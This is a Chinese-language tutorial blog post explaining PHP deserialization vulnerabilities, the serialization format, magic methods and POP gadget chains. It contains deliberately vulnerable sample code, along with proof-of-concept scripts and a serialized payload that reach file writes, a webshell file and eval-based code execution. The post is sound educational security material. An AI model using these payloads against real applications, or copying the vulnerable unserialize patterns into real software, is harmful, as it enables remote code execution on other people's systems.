http://www.lmxspace.com/2018/05/03/php-unserialize-%E5%88%9D%E8%AF%86/
在OWASP TOP10中,反序列化已经榜上有名,但是究竟什么是反序列化,我觉得应该进下心来好好思考下。我觉得学习的时候,所有的问题都应该问3个问题:what、why、how。what:什么是反序列化,why:为什么会出现反序列化漏洞,how:反序列化漏洞如何利用。
从事工作也一年了,也遇到过反序列化漏洞,发现啊,反序列化漏洞真的黑盒很难发现,即使发现了也好难利用。但是有时候反序列化漏洞的危害却挺大的。下面开始进入正题。
首先这个东西在PHP网站中的定义:
所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
按照我的理解,serialize()将一个对象转换成一个字符串,unserialize()将字符串还原为一个对象。
当然从本质上来说,反序列化的数据本身是没有危害的,用户可控数据进行反序列化是存在危害的。
首先,要进行序列化之前,需要了解一下PHP类与对象的概念,这里我们看个dome代码:
class TestClass
{
// 一个变量
public $variable = 'This is a string';
// 一个简单的方法
public function PrintVariable()
{
echo $this->variable;
}
}
// 创建一个对象
$object = new TestClass();
// 调用一个方法
$object->PrintVariable();
|
在这个代码中,文件定义了一个TestClass
类,在类中定义了$variable
变量,以及函数PrintVariable
。然后实例化这个类并调用它的方法。运行结果如下。
当然,上面的代码是正常情况下的调用。但是php中存在一些特殊的类成员在某些特定情况下会自动调用,称之为magic函数,magic函数命名是以符号__
开头的。举个例子:
__construct
当一个对象创建时被调用,__destruct
当一个对象销毁时被调用,__toString
当一个对象被当作一个字符串被调用。下面代码中尝试加入上述的三个魔术函数,我们看看结果:
class TestClass
{
// 一个变量
public $variable = 'This is a string';
// 一个简单的方法
public function PrintVariable()
{
echo $this->variable . ' |
总结几个常用魔术方法及触发条件。
__wakeup() //使用unserialize时触发 __sleep() //使用serialize时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发,返回值需要为字符串 __invoke() //当脚本尝试将对象调用为函数时触发 |
boolean
b:; b:1; // True b:0; // False |
integer
i:; i:1; // 1 i:-3; // -3 |
double
d:; d:1.2345600000000001; // 1.23456(php弱类型所造成的四舍五入现象) |
NULL
N; //NULL
|
string
s::""; s"INSOMNIA"; // "INSOMNIA" |
array
a::{key, value pairs}; a{s"key1";s"value1";s"value2";} // array("key1" => "value1", "key2" => "value2") |
php允许保存一个对象方便以后重用,这个过程被称为序列化。为什么要有序列化这种机制呢?在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。试想,如果为一个脚本中想要调用之前一个脚本的变量,但是前一个脚本已经执行完毕,所有的变量和内容释放掉了,我们要如何操作呢?难道要前一个脚本不断的循环,等待后面脚本调用?这肯定是不现实的。因为这样的操作,在小项目还好,在大项目里是极其浪费资源的。但是如果你将一个对象序列化,那么它就会变成一个字符串,等你需要的时候再通过反序列化转换回变了变量,在进行调用就好了,在这样就剩了资源的使用。
先看个dome代码,了解一下PHP序列化中的字符串。
class User
{
// 类数据
public $age = "7";
public $sex = "man";
public $name = "Notyeat";
}
$example = new User();
$example->name = "John";
$example->sex = "woman";
$example->age = "18";
echo serialize($example);
|
解释下这个序列化的字符串
PHP序列化格式如下所示:
O:4:"Test":2:{s:1:"a";s:5:"Hello";s:1:"b";i:20;} 类型:长度:"名字":类中变量的个数:{类型:长度:"名字";类型:长度:"值";......} |
类型字母详解:
a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string |
然后我们将其反序列化回来看下结果
class User
{
// 类数据
public $age = "7";
public $sex = "man";
public $name = "Notyeat";
}
$example = new User();
$example->name = "John";
$example->sex = "woman";
$example->age = "18";
$test1 = serialize($example);
echo $test1."\n";
$test = unserialize($test1);
echo $test->age;
|
结果:
在序列化的时候其实是有个小注意点:
在这里明明testflag是8位,为什么s:10呢。
原来是:对象的私有成员具有加入成员名称的类名称;受保护的成员在成员名前面加上’*’。这些前缀值在任一侧都有空字节。
所以在传入序列化字符串的时候,需要补齐这些空字节。
O:4:"test":1:{s:10:"%00test%00flag";s:6:"Active";}
|
其实这个问题在上面也提到过了,原因在于反序列化的参数可控,且代码存在一定风险。
举个例子看个代码:
class A{
var $test = "demo";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
|
这串代码,我们可以看到变量$a
从url中test参数获取到内容,并且在反序列化的时候通过__destruct()
直接将传入的数据不经过任何处理,echo出来,这里就存在反射型xss漏洞了。
在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化有一种漏洞利用方法叫做 “面向属性编程” ,即 POP( Property Oriented Programming)。和二进制漏洞中常用的ROP技术类似。在ROP中我们往往需要一段初始化gadgets来开始我们的整个利用过程,然后继续调用其他gadgets。在PHP反序列化漏洞利用技术POP中,对应的初始化gadgets就是__wakeup()
或者是__destruct()
方法, 在最理想的情况下能够实现漏洞利用的点就在这两个函数中,但往往我们需要从这个函数开始,逐步的跟进在这个函数中调用到的所有函数,直至找到可以利用的点为止。下面列举些在跟进其函数调用过程中需要关注一些很有价值的函数。
命令执行:
exec() passthru() popen() system() |
文件操作:
file_put_contents() file_get_contents() unlink() |
如果在跟进程序过程中发现这些函数就要打起精神,一旦这些函数的参数我们能够控制,就有可能出现高危漏洞.
class popdemo
{
private $data = "demo\n";
private $filename = './demo';
public function __wakeup()
{
// TODO: Implement __wakeup() method.
$this->save($this->filename);
}
public function save($filename)
{
file_put_contents($filename, $this->data);
}
}
unserialize(file_get_contents('./serialized.txt));
?>
|
这是一个很简单的示例代码,且这个代码存在反序列化漏洞。该文件还定义了一个 popdemo 类,并且该类实现了 __wakeup
函数,然后在该函数中又调用了save函数,且参数对象是文件名。跟进save函数,我们看到在该函数中通过调用file_put_contents
函数,这个函数的$filename
和data
属性值是从save函数中传出来的,并且创建了一个文件。由于__wakeup()
函数在序列化时自动调用,这里还定义了一个保存文件的函数,在这个反序列化过程中对象的属性值可控。于是这里就存在一个任意文件写入任意文件内容的反序列化漏洞了。这就是所谓的POP。就是关注整个函数的调用过程中参数的传递情况,找到可利用的点,这和一般的Web漏洞没什么区别,只是可控制的值有直接传递给程序的参数转变为了对象中的属性值。
利用poc:
class popdemo
{
private $data = "\n";
private $filename = './poc.php';
public function __wakeup()
{
// TODO: Implement __wakeup() method.
$this->save($this->filename);
}
public function save($filename)
{
file_put_contents($filename, $this->data);
}
}
$demo = new popdemo();
echo serialize($demo);
file_put_contents("./serialized.txt",serialize($demo));
|
这里定义了$data
和$filename
,然后序列化字符串后存储到serialized.txt文件中,序列化字符串:
然后运行demo代码,会在同目录下生成一个poc.php
php在使用unserialize()后会导致__wakeup()
或__destruct()
的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在__wakeup()
或__destruct()
中,从而当我们控制序列化字符串时可以去直接触发它们。
但是如果在反序列化的过程中,在__wakeup()
或__destruct()
不存在可以利用的恶意代码呢。那又该如何呢,其实吧我觉得反序列化漏洞,就是类似于类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。
class pocdemo{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class l1nk3r{
var $test = '123';
function __wakeup(){
$obj = new pocdemo($this->test);
}
}
$test = file_get_contents('./ser.txt');
unserialize($test);
require "shell.php";
|
这里代码主要是通过get方法通过test传入序列化好的字符串,然后在反序列化的时候自动调用__wakeup()
函数,在__wakeup()
函数中通过new pocdemo()会自动调用对象pocdemo中的__construct()
,从而把写入到shell.php中。
poc代码:
class l1nk3r{
var $test = '';
function __wakeup(){
$obj = new pocdemo($this->test);
}
}
$ser = new l1nk3r();
$result = serialize($ser);
print $result;
file_put_contents('./ser.txt',$result);
|
然后将这个序列化的字符重新导入到poc代码中,反序列化之后,就会生成一个shell.php,并且内容为
在反序列化的时候,当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时的利用方法如下,寻找相同的函数名,把敏感函数和类联系在一起。
class l1nk3r {
var $test;
function __construct() {
$this->test = new CodeMonster();
}
function __destruct() {
$this->test->action();
}
}
class CodeMonster {
function action() {
echo "CodeMonster";
}
}
class CodeMonster1 {
var $test2;
function action() {
eval($this->test2);
}
}
$class6 = new l1nk3r();
unserialize($_GET['test']);
|
从代码上来看,来通过new 实例化一个新的l1nk3r对象后,调用__construct()
,其中该函数又new了一个新的CodeMonster对象;这个对象的功能是定义了action()函数,并且打印CodeMonster。然后结束的时候调用__destruct()
,在__destruct()
会调用action(),因此页面会输出CodeMonster。
但是在代码中,我们看得到codermaster1对象中有一个eval()函数,这可是危险函数啊,那有什么方法,通过发序列化触发它呢,当然有了。刚刚在l1nk3r对象中,new的是CodeMonster,如果new的是CodeMonster1,那么自然就会进入CodeMonster1中,然后eval()函数中的$test2
可控制,那么自然就可以实现远程代码执行了。
Poc:
class l1nk3r {
var $test;
function __construct() {
$this->test = new CodeMonster1();
}
}
class CodeMonster1 {
var $test2='phpinfo();';
}
$class6 = new l1nk3r();
print_r(serialize($class6));
|
生成的序列化字符串:
O:6:"l1nk3r":1:{s:4:"test";O:11:"CodeMonster1":1:{s:5:"test2";s:10:"phpinfo();";}}
|
PHP的 unserialize() 函数只能反序列化在当前程序上下文中已经被定义过的类.在传统的PHP中你需要通过使用一大串的include() 或者 require()来包含所需的类定义文件。于是后来出现了 autoloading 技术,他可以自动导入需要使用的类,再也不需要程序员不断地复制粘贴 那些include代码了。这种技术同时也方便了我们的漏洞利用.因为在我们找到一个反序列化点的时候我们所能使用的类就多了,那么实现漏洞利用的可能性也就更加高。
还有一个东西要提一下,那就是Composer,这是一个php的包管理工具,同时他还能自动导入所以依赖库中定义的类。这样一来 unserialize() 函数也就能使用所有依赖库中的类了,攻击面又增大不少。
1.Composer配置的依赖库存储在vendor目录下
2.如果要使用Composer的自动类加载机制,只需要在php文件的开头加上
require __DIR__ . '/vendor/autoload.php'
;
默认情况下 Composer 会从 Packagist下载包,那么我们可以通过审计这些包来找到可利用的 POP链。
找PHP链的基本思路.
1.在各大流行的包中搜索 __wakeup()
和 __destruct()
函数.
2.追踪调用过程
3.手工构造 并验证 POP 链
4.开发一个应用使用该库和自动加载机制,来测试exploit.
1.寻找可能存在漏洞的应用
2.在他所使用的库中寻找 POP gadgets
3.在虚拟机中安装这些库,将找到的POP链对象序列化,在反序列化测试payload
4.将序列化之后的payload发送到有漏洞web应用中进行测试.